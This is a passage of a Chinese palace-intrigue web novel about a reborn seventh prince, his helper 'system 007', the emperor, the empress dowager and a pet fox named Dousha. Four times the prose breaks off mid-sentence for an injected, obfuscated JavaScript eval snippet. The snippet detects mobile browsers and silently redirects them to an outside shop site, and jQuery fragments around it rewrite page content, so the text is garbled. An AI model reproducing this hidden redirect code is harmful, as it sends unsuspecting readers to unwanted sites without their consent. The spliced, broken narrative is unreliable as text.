就在这时,太子又来了。 他见到李常安对着药碗发愁的模样,不禁失笑:“七弟怕苦?” 李常安有些窘迫:“这药确实苦了些。” 太子从袖中取出一个小纸包:“这是西域进贡的蜜枣,最是香甜,配药正好。” 李常安尝了一颗,果然甜而不腻,正好压住药的苦味。 “二皇兄费心了。” “应该的。”太子看着他喝完药,“说起来,为兄已经请示过父皇,等你病好了,可以随时出宫走走,不必每次都请示。” 李常安惊讶地抬头。 太子笑道:“父皇听说你因为出宫累病了,特意准的。不过有个条件——每次都要带着侍卫,不要太逞强,累了直接叫人抱着就是,不用害羞,毕竟你还是个小孩子。” 李常安闻言,本来因为发热微红的脸更红了,但还是真诚地跟太子道谢:“谢二皇兄。” 李常安轻轻点头。前世他病中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16716063|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还要坚持上课,如今倒是可以安心休养了。 病中的日子格外漫长,李常安靠在床头,看着窗外飘落的梨花,不禁想起前世。 那时的他,就算高烧不退也要坚持处理政务。 一次边关急报传来,他带着病体在御书房熬了整整三夜,最后是被人抬回寝宫的。 对比现在,不过是出宫一趟就病倒,这具身体确实太过孱弱。 “007,”他在心中问,“那枚洗经伐髓丹,真的能彻底改善这具身体吗?” 【当然!】007信誓旦旦,【只要三十万积分,宿主就能拥有健康的身体!】 三十万积分......李常安看着自己仅有的两百多的积分,感到前路漫漫。 “除了好感度,还有其他获取积分的方式吗?” 【完成系统任务也可以获得积分。】007回答,【有孝心可嘉、兄友弟恭、勤学不辍三条支线任务哦!宿主是否开启!】 李常安看着任务陷入沉思,不用猜他都知道任务是什么,他觉得自己还可以苟一苟,不着急做任务。 五日后,李常安终于痊愈。 太医院又来诊了一次脉,确认无碍后,他才被允许出门。 重返弘文馆这日,太子特意在宫道上等他。 “七弟气色好多了。”太子打量着他,“不过还是要多注意。” “谢二皇兄关心。” 走进崇文堂,李常睿阴阳怪气地说:“七弟可算来了,不知道的还以为你得了什么大病呢。” 李常安还没说话,太子已经冷冷开口:“五弟若是闲得慌,不如多温习功课。” 李常睿顿时噤声。 课后,太子又对李常安说:“明日休沐,为兄带你去个地方。” “二皇兄不必特意......” “不是出宫。”太子微笑,“是的藏书楼。那里有些养生典籍,或许对你有用。” 李常安怔住了。他没想到太子会为他考虑到这个地步。 当晚,李常安在灯下翻阅太子送来的养生典籍。雪团乖巧地趴在他膝上,时不时用尾巴扫过书页。 素心端来参汤,欣慰地说:“殿下肯主动调理身子,真是太好了。” 李常安轻抿一口参汤,“素心,明日去东宫,把雪团也带上吧。” 既然太子示好,他也不能总是拒人千里之外。 夜色渐深,养心殿内,皇帝正在询问王公公:“小七今日可好些了?” “回陛下,七殿下已经痊愈,今日重返弘文馆了。” 皇帝点点头,“传朕旨意,往后七皇子的脉案,每日都要呈报。” 16.第 16 章 秋意渐浓,金风送爽。 皇家猎场即将迎来一年一度的秋狩盛典,整个皇宫都为此忙碌起来。 御书房内,烛火将皇帝的身影拉得悠长,投在冰冷的金砖地面上。 他刚刚批阅完一摞关于秋狩安排的奏章,指尖还残留着朱砂的微黏触感。 王公公悄无声息地奉上一盏新沏的雨前龙井,茶香袅袅,却没能驱散皇帝眉宇间的凝肃。 “查得如何了?”皇帝的声音低沉,听不出情绪。 王公公心领神会,知道陛下问的是关于七皇子身世的密查。 他微微躬身,声音压得极低,确保只有近在咫尺的帝王能够听清:“回陛下,暗卫刚呈上消息。顺着宁嫔娘娘母家那条线往下摸,确实……发现了一些蹊跷。” 皇帝端起茶盏,氤氲的热气模糊了他的视线,“说。” “宁嫔娘娘的娘家小舅,其妻生产之日,与宁嫔娘娘临盆之时,相距不过三日。” 王公公斟酌说道,“对外宣称,是产下了一个死婴。” 皇帝呷了一口茶,静待下文。 “但是,”王公公偷偷看了皇上一眼,话锋微转,带着几分为难说道,“暗卫几经周折,寻到当年在附近帮过忙的一个稳婆的远亲。” “那人依稀记得,听那稳婆酒后失言提过一嘴,说那小舅夫人生的孩子,落地时哭声洪亮,中气十足,怎么看……都不像是个先天不足、即刻夭折的娃娃。” 话音落下,御书房内陷入一片沉寂,只有烛芯偶尔爆开的轻微噼啪声。 皇帝缓缓放下茶盏,瓷杯底座与紫檀木桌面接触,发出清脆的一声“嗒”。 他靠向龙椅背,闭上双眼,指尖无意识地摩挲着扶手上冰冷的龙纹雕刻。 不是死婴……哭声洪亮…… 一个大胆的、近乎荒谬的推测,如同黑暗中滋生的藤蔓,瞬间缠绕上皇帝的心头。 莫非……小七根本就不是宁嫔亲生? 而是宁嫔自己生下的皇嗣不幸早夭,她为了稳固地位,防止失宠,胆大包天,用自己的死婴,偷梁换柱,换来了娘家小舅那个健康的孩子? 这个念头如同惊雷,在他脑海中炸开。 首先涌上的,竟是一阵难以言喻的庆幸——不是红杏出墙,不是混淆天家血脉最不可饶恕的那种罪行。 至少不是绿帽,帝王的尊严,在这一点上,得以保全。 然而,庆幸之后,便是更为复杂的情绪。 若真如此,那小七……便不是他的骨血。这个认知让他心头莫名一空。 这些时日,因着那些光怪陆离、鲜血淋漓的梦境,他对这个曾经忽视的儿子,投注了越来越多的关注。 看着他病弱苍白的小脸,想起梦中他含冤受刑的惨状,那份迟来的、混杂着愧疚与补偿的父爱,正悄然滋生。 可如今,这份刚刚萌芽的情感,却仿佛瞬间失去了赖以生存的土壤。 他睁开眼,目光锐利如鹰,扫过御书房内熟悉的陈设,最终落在窗外沉沉的夜色上。 江山是他的,后宫是他的,无数皇子皇女流淌着他的血脉。 多一个李常安不多,少一个李常安……似乎也无甚要紧。 罢了!皇帝在心中喟叹一声。 无论真相如何,这孩子既然已经顶着皇子的名分在这深宫中长到六岁,便是天意。 况且,那些梦境如此真实,宛若亲身经历,那份剜心之痛,至今想起仍觉心悸。 就算……就算小七真的并非己出,就当他对梦中枉死的青年亏欠,当作一个无辜被卷入宫廷漩涡的孩童来庇护,也未尝不可。 帝王心术,在于权衡,在于掌控。 一个身世存疑、只能依附于皇恩生存的皇子,或许,比一个血脉纯正、母族势力盘根错节的皇子,用起来更为顺手。 “此事,”皇帝终于开口,声音恢复了平日的沉稳与威严,“到此为止。所有知情之人,你知道该怎么做。” 王公公心头一凛,深深垂下头:“老奴明白。” “继续留意宁嫔宫中和其母家的动向,若无确凿证据,不必再报。”皇帝挥了挥手。 秋狩之日,天朗气清,惠风和畅。 京郊皇家猎场之外,旌旗蔽日,仪仗煊赫。 文武百官按品级肃立,后宫妃嫔与皇子公主们各自乘车辇等候。 空气中弥漫着皮革、尘土与骏马特有的气息,混合着一种无声的竞争与期待。 就在这庄严肃穆的时刻,一道出自御前的口谕,如同投入平静湖面的巨石,激起了滔天巨浪—— 陛下有旨:七皇子李常安,体弱畏风,特许同乘御辇,前往猎场! 旨意一出,满场皆寂。 随即,无数道目光,如同被无形的线牵引,齐刷刷地射向了那个站在皇子队列中,显得格外瘦小的身影。 李常安今日穿着一身靛蓝色皇子骑射常服,为了御寒,外面罩着一件皇帝前几日刚赏赐下来的银狐皮滚边斗篷。 那毛色纯白无瑕的狐皮,衬得他小脸愈发精致,也愈发显得缺乏血色,仿佛一尊易碎的玉瓷娃娃。 他能清晰地感觉到那些目光——惊愕、难以置信、探究,更多的则是毫不掩饰的嫉妒与愤恨。 “小七!小七!检测到高强度情绪波动! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16720795|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 脑海里,系统007的声音咋咋呼呼地响了起来,带着一种看热闹不嫌事大的兴奋。 “丽妃恶意值飙升!突破临界点!五皇子李常睿嫉妒值爆表!德妃……嗯,德妃娘娘情绪稳定,只是好感度微妙地下降了5点,啧啧,这定力……” 李常安垂着眼睑,长长的睫毛在苍白的脸颊上投下淡淡的阴影,掩去了眸底深处一闪而过的自嘲。 他微微缩了缩肩膀,努力将自己缩进那件温暖的斗篷里,在外人看来,完全是一副被这突如其来的“殊荣”惊吓到,又因周遭目光而感到不安的怯懦模样。 “闭嘴,记下来就行。”他在心中对007说道,声音带着疲惫。 这种殊荣,他上辈子早已得到过。 没想到重活一世,竟是以这种方式,再次被推至风口浪尖。 王公公亲自走了过来,脸上带着恰到好处的恭敬笑容:“七殿下,御辇已备好,请您随老奴来。” 李常安抬起头,露出一双带着些许茫然和水光的眼睛,怯生生地点了点头。 他迈开小小的步子,跟着王公公,在无数道几乎要将他洞穿的目光中,一步步走向那辆象征着无上权力与恩宠的龙纹御辇 太子李常宸站在御辇旁,身着杏黄色太子常服,他看到李常安走来,温和地笑了笑,眼神中带着鼓励,似乎想用这种方式安抚他的不安。 李常安内心毫无波澜,甚至有点想笑。 这场面,可比上辈子在朝堂上面对群臣攻讦“有趣”多了。 他在内侍的搀扶下,小心翼翼地登上了宽阔的御辇。 辇内空间极大,铺设着厚厚的软垫,龙涎香的气息悠远沉静,将外界的喧嚣隔绝开来。 皇帝正端坐于主位,闭目养神。 皇上今天身着赭黄色骑射龙袍,肩宽背直,不怒自威。 听到动静,他缓缓睁开眼眸问道,“身子可还撑得住?猎场风大。” 李常安连忙依照宫规,恭恭敬敬地行了一个大礼,声音刻意放得轻软:“儿臣叩谢父皇天恩。儿臣尚可,劳父皇挂心。” “嗯,起来吧,坐稳些。路途颠簸,莫要摔着。”皇帝淡淡地吩咐了一句,便不再多言,重新合上了眼帘。 李常安规规矩矩地在下首指定的位置坐好,脊背挺得笔直,双手乖巧地放在膝盖上。 “小七,咱们这波仇恨值拉满了,可惜系统没有这方面的任务,不然我们赚翻了。”007的声音带着点幸灾乐祸。 李常安在心中默默翻了个白眼,没有理会。 他微微侧过头,透过御辇车窗垂下的细密竹帘缝隙,看向外面。 17.第 17 章 秋狝的喧嚣随着车驾回宫渐渐平息,但麒麟的神迹和七皇子独得活狐赏赐的恩宠,却如同投入深潭的石子,在宫廷内部漾开了层层肉眼可见的涟漪。 长春宫一改往日的门庭冷落,几乎被各色人等踏破了门槛。 李常安抱着那只装着火红幼狐的笼子刚回到长春宫不过半日,内务府总管太监便亲自带着几个伶俐的小太监,满脸堆笑地赶来了。 “七殿下万福!”总管太监毕恭毕敬地行礼,态度比以往任何时候都要谦卑热络。 “听闻陛下赏了殿下一样灵巧的活物儿,奴才们想着,这小家伙初来乍到,怕是缺些玩耍的物件,也需个更舒坦的窝。便紧赶慢赶,先弄了几样小玩意儿送来。” 说罢,身后的小太监们捧上几个锦盒。 从铺着苏绣软垫的藤编吊床,到镶嵌着细碎宝石的逗狐棒,极尽巧思,奢靡无比。 仿佛那只火红的幼狐不是牲畜,而是什么需要顶礼膜拜的灵物。 速度之快,用料之精,心思之巧,与之前对李常安的态度,简直是天壤之别。 李常安看着那些精巧的玩具,脸上没什么表情,只是淡淡地点了点头:“有劳了。” 内务府总管连道“不敢”,又说了好些“殿下有事尽管吩咐”、“定当尽心竭力”的话,才躬身退下。 “真是……一人得道,鸡犬升天。” 素心看着库房里堆积如山的赏赐和礼品,忍不住低声感叹了一句。 苏文瑾倒是很高兴,觉得自家殿下终于扬眉吐气了,走路都带风。 【宿主,他们变得好快啊!前几天还没这么多人呢!】 007在他脑子里啧啧称奇,【这就是人类说的……嗯,趋炎附势?】 “捧高踩低,人之常情。”李常安在心中冷笑,指尖无意识地梳理着小狐狸颈间柔软的毛发。 苏文瑾兴奋地拿起逗狐棒,在小狐狸面前晃悠,试图吸引它的注意。 小狐狸起初有些害怕,但终究是幼崽心性,很快便被晃动的影子吸引了,乌溜溜的眼睛跟着转动,伸出小爪子试探性地去够。 李常安看着因为玩闹而稍微活泼了些的小狐狸,轻声说道:“给你取个名字,好不好?” 苏文瑾立刻凑过来:“殿下想取什么名字?红红?火火?” 迟宴虽未靠近,但也投来关注的目光。 李常安摇了摇头,他看着小狐狸那身毫无杂色的火红皮毛,“就叫‘豆沙’吧。” “豆沙?好名字!”苏文瑾立刻拍手叫好。 笼中的小狐狸仿佛听懂了一般,停下了扑抓的动作,抬起头,冲着李常安轻轻地“嘤”了一声。。 李常安微微怔了一下,唇角弯了一下,轻轻的揉了揉豆沙的头顶,毛茸茸的,手感很好。 【宿主,它喜欢这个名字!】007在他脑子里滚了一圈。 就在秋狝后不久,一个消息如同清磬,震动了整个宫廷——常年在大相国寺带发修行、为国祈福的太后娘娘,起驾回宫了! 宫人们私下议论,太后此次回宫,并非例行省亲,而是听闻了秋狝场上“麒麟现世”护佑七皇子的神迹,心中震动,特意回宫想要亲眼见见这位身负祥瑞的孙儿。 太后回銮,礼仪隆重。皇帝率后宫妃嫔、皇子公主及宗室重臣于宫门迎驾。 李常安穿着合制的皇子礼服,站在队列中。他微微垂着眼,却能感受到无数道目光,或明或暗地落在自己身上。 他知道,今日的主角,除了太后,恐怕就是自己这个“祥瑞”了。 凤辇停稳,在宫女搀扶下,身着深青色缂丝万寿纹常服的太后缓缓走出。 她目光平和,却自有洞悉世事的锐利。 众人山呼跪迎,太后目光缓缓扫过,在皇帝身上略一停留,便直接越过前排的太子、三皇子、四皇子,精准地落在了因为年纪小而站在靠后位置的李常安身上。 “皇帝,”太后开口问道,“哀家听闻,秋狝之时,有麒麟降世,护佑皇嗣,可是真的?” 她虽在问皇帝,目光却未离开李常安。 皇帝躬身回道:“回母后,千真万确!当时情况危急,猛熊突袭,正是常安这孩子引得麒麟现身,一声怒吼,便惊退了那畜生!在场诸多侍卫、勋贵皆可为证!” 太后闻言,眼中精光一闪,脸上严肃的线条柔和了些许,她对着李常安招了招手:“孩子,到哀家身边来。” 李常安依言上前,在太后身前几步外停下,规规矩矩地行礼:“孙儿常安,恭迎皇祖母圣安。” “抬起头来,让哀家好好看看。”太后的语气带着温和。 李常安抬起头,对上太后那双仿佛能看透人心的眼睛。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768843|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 努力维持着孩童应有的怯生和茫然。 太后仔细端详着他苍□□致的小脸,她信佛至诚,深信因果与天命,麒麟现世,在她看来,绝非偶然,此子必有不凡之处。 “嗯,眉清目秀,眼神澄净,是个有佛缘、有福气的孩子。”太后满意地点了点头,伸手从腕上褪下一串光泽温润的沉香木佛珠,亲自戴在了李常安纤细的手腕上。 “这串佛珠随哀家礼佛多年,今日便赠予你,望你永葆赤子之心,不负上天眷顾。” 这赏赐,意义非凡! 太后随身多年的佛珠,其象征意义远超任何金银珠宝。众人皆惊,看向李常安的目光更加复杂。 “孙儿谢皇祖母厚赐!”李常安恭敬谢恩,感受到手腕上佛珠传来的沉静香气和温润触感,心中亦是微动。 就在这时,李常安才看见跟在太后身后穿着青色道袍的大皇子李常川。 他的目光看向李常安时,李常安几乎是本能往后退了一步。 前世,这位看似超脱物外的大皇兄,手段之狠辣,算计之深沉,他刻骨铭心! 那些最终送他上路的手段,其背后未必没有这位“方外之人”的影子! 李常川自然也察觉到了李常安那一瞬间的异常。 他微微挑眉,眼中闪过一丝疑惑。 他自问与这位七弟素无交集,更未曾得罪,为何小七会对自己有些排斥? 他面上依旧保持着淡然,对着李常安微微颔首,语气平和:“七弟。听闻你身负祥瑞,福缘深厚,恭喜。” 李常安垂下眼帘,掩去眸中所有情绪,疏离地说道:“谢大皇兄。” 李常川心中莫名,但碍于场合,并未多言,只是将这小小的疑惑记在了心里。 太后显然对李常安的“乖巧”和“福相”极为满意,拉着他的手又问了秋狝的细节。 李常安依旧以“吓坏了,没看清”含糊应对。 迎驾仪式结束后,太后特意让李常安跟着去了慈宁宫,又赏了不少东西,甚至开口让他日后常来慈宁宫走动,陪她说说话。 回到长春宫,李常安看着手腕上那串沉香木佛珠,以及慈宁宫送来的一堆赏赐,神色复杂。 “豆沙,”他抱起蹭过来的小狐狸,将脸埋在豆沙温暖的皮毛间,长叹一口气。 “麻烦的家伙,一个个都回来了。” 18.第 18 章 【宿主,今天又是充满希望的一天!阳光暖暖的,风儿轻轻的,豆沙胖胖的!】 007在他脑子里播放着自编的轻快背景乐。 李常安懒洋洋地蜷在窗边的软榻上,像只慵懒的猫。 秋日的阳光透过窗棂,在他苍□□致的侧脸上投下细碎的光斑。 他怀里抱着已经圆润了一大圈的豆沙,有一搭没一搭地顺着那身光滑如缎的皮毛。 豆沙舒服得四脚朝天,露出柔软的肚皮,喉咙里发出“咕噜咕噜”的满足声响,眯着的眼睛缝里透出一点乌黑的光,全然不见初来时的惊惧。 007苦口婆心,【宿主,今天天气这么好!我们去别的宫里逛一逛吧】 “不去。”李常安在心中回应,声音带着刚睡醒的沙哑,“累。” 【哎呀宿主!生命在于运动!在于社交!在于……吃饭!】 李常安没理系统,低头对上豆沙那双因为吃得好睡得好而格外水润乌黑的豆豆眼。 小狐狸似乎察觉到主人的注视,伸出粉嫩的小舌头,讨好地舔了舔他的手指尖,尾巴尖轻轻扫过他的手腕。 就在这时,太后的口谕还是来了,慈宁宫设了素斋,请七殿下过去一同用膳。 李常安认命地叹了口气,慢吞吞地爬起来,由着宫人给他换上衣裳。 豆沙似乎察觉到他要走,咬着他的衣角“嘤嘤”叫了两声。 【宿主,豆沙舍不得你!要不我们偷偷带它去?】 “想都别想。”李常安无情地拒绝了系统的异想天开。 慈宁宫内,桌上已摆好了几样精致的素斋,色泽清淡,香气却勾人食欲。 太后见到他,脸上便露出了真切的笑容,招手让他坐到身边:“好孩子,来了。今日就我们祖孙俩,简单用些斋饭,陪哀家说说话。” “谢皇祖母。”李常安规规矩矩地行礼,然后乖巧坐下。 饭菜上桌,太后便开始不停地给他布菜。 “常安,你尝尝这个,素火腿,是用豆腐衣和香菇做的,味道竟有几分像。” “还有这个,罗汉斋,里面十八种山珍,最是养人。” “这翡翠羹也好,清淡爽口,你身子弱,多喝些汤水好。” 太后一片慈爱之心,李常安面前的碗碟很快堆成了小山。 李常安看着那小山,头皮微微发麻。 他胃口本就不大,这些素食看着清淡,实则用料扎实…… 【宿主!吃啊!多吃点!这个看起来好好吃!那个也不错!哇,太后真好!】007兴奋地流口水。 李常安努力地吃着,小口小口,速度却不慢。 太后见他吃得“香甜”,更是欣慰,夹菜夹得更勤快了。 就在这时,殿外传来一阵细微的骚动和宫人压低声音的劝阻。 “怎么了?”太后微微蹙眉。 林嬷嬷连忙出去查看,片刻后回来,面色有些古怪,回禀道: “太后娘娘,是……是七殿下养的那只小狐狸,不知怎么跑了出来,一路寻到慈宁宫了,正在殿外徘徊,想进去呢。” 太后一愣。 李常安也愣住了。豆沙?它怎么跑出来的?还精准地找到了慈宁宫? 【哇!豆沙太聪明了!宿主,它一定是闻着香味来找你了!或者它想你了!感人!父子情深!】007立刻开始脑补。 太后非但没有生气,反而觉得有趣:“哦?那小东西竟如此有灵性?让它进来。” 宫人领命,很快,一团火红的身影就窜了进来。 豆沙先是警惕地看了看四周,然后乌溜溜的眼睛精准地锁定了李常安,“嘤”了一声,迈着小短腿飞快地跑过来,熟练地扒着李常安的衣袍想往上爬。 李常安无奈,只好将它抱到膝上。 豆沙在他怀里蹭了蹭,然后小鼻子一动一动,目光灼灼地盯上了桌上淋着蜜汁的“素糖醋鱼”。 “嘤嘤!”它伸出小爪子,想去够。 “哎哟,这小家伙,也馋了?”太后被逗笑了,“这素斋它也能吃些,林嬷嬷,给它弄个小碟子,挑些没调料的给它。” 豆沙似乎听懂了,立刻端坐在李常安膝盖上,尾巴尖轻轻摇晃,眼巴巴地看着林嬷嬷。 看着豆沙埋头在小碟子里吃得欢快,太后笑道:“常安,你这小狐狸,倒是个机灵鬼,跟你一样,瞧着安静,心里有数。” 李常安低头看着豆沙,轻轻“嗯”了一声。 有豆沙这么一打岔,刚才那种被疯狂投喂的压力瞬间减轻了不少。 太后的大部分注意力被吸引到了豆沙身上,时不时逗弄它一下,殿内充满了轻松的气氛。 李常安趁机放慢了吃饭的速度,暗暗松了口气。 【宿主,豆沙真是你的福星!帮你分散火力了!】007恍然大悟般说道。 李常安努力地维持着用餐礼仪,小口小口,细嚼慢咽,速度却不自觉放得很慢。 “慢点吃,别噎着,喝口汤顺顺。”太后慈祥地看着他,又亲手盛了一碗汤放在他手边。 李常安:“……”他感觉食物已经堵到了喉咙口,连呼吸都有些困难了。 这慈宁宫的饭,果然不好吃。 就在李常安暗自祈祷这顿“爱心盛宴”快点结束时,殿外传来了宫人通传的声音:“太后娘娘,大皇子殿下前来请安。” 太后脸上笑容未减:“让他进来吧。” 李常安握着筷子的手指收紧了一瞬。李常川?他怎么来了? 只见大皇子李常川步履从容地走了进来,对着太后躬身行礼,姿态优雅出尘:“孙儿给皇祖母请安。” “起来吧!”太后语气温和。 李常川起身,目光自然而然地落在李常安身上,“原来七弟也在,看来孙儿来得不巧,打扰皇祖母与七弟用膳了。” “无妨,你可用过膳了?若不嫌弃这清汤寡水,便一起用些?”太后随口问道。 “谢皇祖母,孙儿已在家中用过了。”李常川婉拒,目光扫过桌上琳琅满目的素斋, 最后落在李常安面前那座“小山”上,唇角微弯,“七弟正在长身体,是该多用些。皇祖母这里的斋菜,连孙儿闻着都觉食指大动。” 他说话滴水不漏,既表达了关心,又捧了太后,姿态放得极低。 然而,李常安明明从他身上看到了一肚子坏水,可恶! 就在这时,原本在角落打盹的豆沙,不知是被说话声吵醒,还是睡够了,伸了个懒腰,抖了抖一身火红的皮毛,迈着优雅的小步子,溜溜达达地走了过来。 它先是蹭了蹭李常安的脚踝,然后似乎被李常川与众不同的青灰色道袍吸引了注意力。 小狐狸歪着头,乌溜溜的眼睛好奇地打量着这个陌生的人类。 李常川也注意到了脚边这团醒目的红色,他素来表现得温和亲善,此刻便顺势微微俯身,伸出修长干净的手,去抚摸豆沙的脑袋。 “这便是七弟养的那只灵狐吧?果然可爱。” 豆沙看着伸过来的手,没有躲闪,反而凑近嗅了嗅。 就在李常川的手指即将触碰到豆沙头顶绒毛的瞬间,豆沙突然后腿微屈,身体侧倾,一道清澈的水柱精准地、毫不客气地滋在了李常川那身飘逸出尘的青灰色道袍下摆上! “哗——” 细微的水声在寂静的殿内显得格外清晰。 李常川脸上的温和笑容瞬间僵住,伸出的手停滞在半空,整个人如同被施了定身咒。 他那从容不迫、仿佛一切尽在掌握的超然姿态,第一次出现了裂痕,眼底深处是全然的错愕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16773905|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和一丝来不及掩饰的嫌恶。 太后愣住了。 林嬷嬷和周围的宫人也都惊呆了,想笑又不敢笑,死死低着头,肩膀微微耸动。 而李常安—— 他看着李常川那副从未有过的、堪称狼狈的吃瘪模样。 “噗——” 一声极轻的嗤笑,从他唇边逸了出来。 虽然他立刻反应过来,迅速抬手用宽大的袖口掩住了唇。 两辈子了!他何曾见过这位永远一副高人模样的大皇兄,露出过如此窘迫、如此……接地气的表情! 这一笑,如同昙花一现,短暂绚烂。 太后率先回过神来,她看着李常安难得带着孩童般促狭的笑容,心中顿时涌上一股难以言喻的稀罕和疼爱。 这孩子,平日里总是安安静静,带着超越年龄的沉郁和疏离,何曾有过这般鲜活灵动的模样? 这一笑,当真如明珠生晕,美玉莹光,好看得紧! 至于大孙子袍子上的那点“意外”……嗯,不过是个意外嘛,一只小狐狸懂什么? “哎哟,这小淘气!”太后立刻开口,语气里带着明显的偏袒,“林嬷嬷,快,带大皇子去偏殿更衣。常川啊,莫怪,这小狐狸怕是认生,或是……内急了,回头哀家好好说道它。” 李常川此刻也勉强恢复了镇定,只是那脸色依旧有些发青,他深吸一口气,强行压下心头的怒火和膈应,扯出一个极其勉强的笑容:“皇祖母言重了,无妨,是孙儿唐突了。” 他看了一眼已经躲到李常安脚后跟的“罪魁祸首”,又深深看了一眼眉梢带着笑意的李常安,袍袖下的手微微握紧。 “孙儿先去更衣,稍后再来向皇祖母请安。”他保持着最后的风度,跟着林嬷嬷退了出去,只是那背影,怎么看都透着一股强忍的僵硬。 这下,殿内只剩下太后和李常安。 太后看着李常安,越看越欢喜,忍不住招手:“常安,过来,到哀家身边来。” 李常安依言走近,脸上那点笑意已经收敛,恢复了平日的安静,只是耳根还泛着一点未褪尽的红。 太后拉着他的手,仔细端详着他的小脸,感叹道:“哀家还是头一回见你笑得这般开怀,以后多笑笑!” 她像是想起了什么,转头对林嬷嬷吩咐道:“去,把哀家库里那匹正红色的缂丝料子取来,就是去年江南进贡的那匹,上面用金线缂着暗云纹的。” 林嬷嬷应声而去,很快便带着两个小太监,小心翼翼地捧着一匹衣料回来。 那料子一展开,顿时满室生辉。 正红色浓郁纯正,鲜艳欲滴,如同最炽烈的火焰,却又因那繁复精致的金色暗云纹而显得庄重华贵,丝毫不显俗气。 料子本身光泽流转,触手细腻温凉,一看便知是极品中的极品。 “这孩子肤色白,穿红色最是衬人。”太后抚摸着那光滑的料面,眼中满是期待。 “快,叫尚服局的人来,给七皇子量体裁衣,就用这料子,做一身骑射服,再做一身常服!哀家要看看,咱们常安穿上这红色,该是何等的精神漂亮!” 李常安看着那匹耀眼夺目的红料子,有些怔忡。 这颜色……太过张扬,与他平日素净的衣着截然相反。 【宿主!红色!好正的红色!你穿上一定帅炸苍穹!迷倒万千少女……和系统!】 “皇祖母,这……太贵重了,孙儿……”他试图推拒。 “哎,什么贵重不贵重的,好东西就是拿来用的。”太后打断他,“你穿着好看,哀家看着就高兴!就这么定了!” 量体的尚宫很快赶来,仔细记录了李常安的尺寸。 回长春宫的路上,李常安抱着“立下大功”的豆沙。回想起李常川难看的脸色,他的唇角根本压不住。 19.第 19 章 或许是太后明目张胆的偏爱给了底气,或许是豆沙的陪伴驱散了些许孤寂,又或许是因为这具幼小的身体适应良好,李常安身上那层坚冰般的沉郁,似乎在不知不觉中融化了些许。 这日弘文馆习字课,赵太傅正在讲解《兰亭集序》的笔意。 “……故知‘一死生为虚诞,齐彭殇为妄作’,此乃右军大人感悟生死之达观……” 底下坐着的皇子伴读们,大多正襟危坐,努力做出认真听讲的样子,至于心里在想什么,就不得而知了。 李常安坐在自己的位置上,腰背挺得笔直,姿态无可挑剔。 他面前铺着上好的宣纸,手里握着紫毫笔,似乎也在认真临摹。 坐在他斜右方的迟宴,却敏锐地注意到,李常安握笔的手指有些过于放松,笔尖在纸上的移动轨迹也并非完全遵循字帖。他微微靠近瞥了一眼。 只见李常安面前的宣纸上,工工整整的“永和九年”旁边,不知何时用极细的笔触,勾勒出了一只活灵活现、抱着尾巴打盹的小狐狸。 那慵懒的神态,与此刻在李常安脚边篮子里睡得正香的豆沙有八九分神似! 迟宴:“……” 他嘴角细微地抽动了一下,迅速收回目光,假装什么都没看见。心底却有些好笑,这位七殿下,似乎越来越放开了。 就在这时,赵太傅大概是想寻个范例,踱步走到了李常安身边。 李常安毫无所觉,依旧“专注”地描画着他的小狐狸,甚至还在狐狸耳朵旁边添了一朵小小的、歪歪扭扭的花。 赵太傅低头,先是看到了那笔力尚且稚嫩但结构端正的“永和九年”,满意地点了点头,随即目光就被旁边那只突兀出现的小狐狸吸引了。 老先生花白的眉毛顿时拧成了一个疙瘩,脸色沉了下来。 周围看着赵太傅脸色的学生们瞬间明白了什么。等着看李常安被训斥。 五皇子李常睿更是偷偷抬起头,脸上露出幸灾乐祸的笑意。 然而,李常安却在这时抬起了头,脸上带着恰到好处的“茫然”和无辜,他看着太傅,声音细细软软: “太傅,学生愚钝,觉得右军大人笔下山水之美,万物有灵,心中向往,便……便随手画了下来,可是不合规矩吗?” 他眨巴着大眼睛,长长的睫毛像两把小扇子,配上精致的小脸,显得格外真诚又……可爱。 赵太傅到了嘴边的斥责,不知怎的,就卡住了。 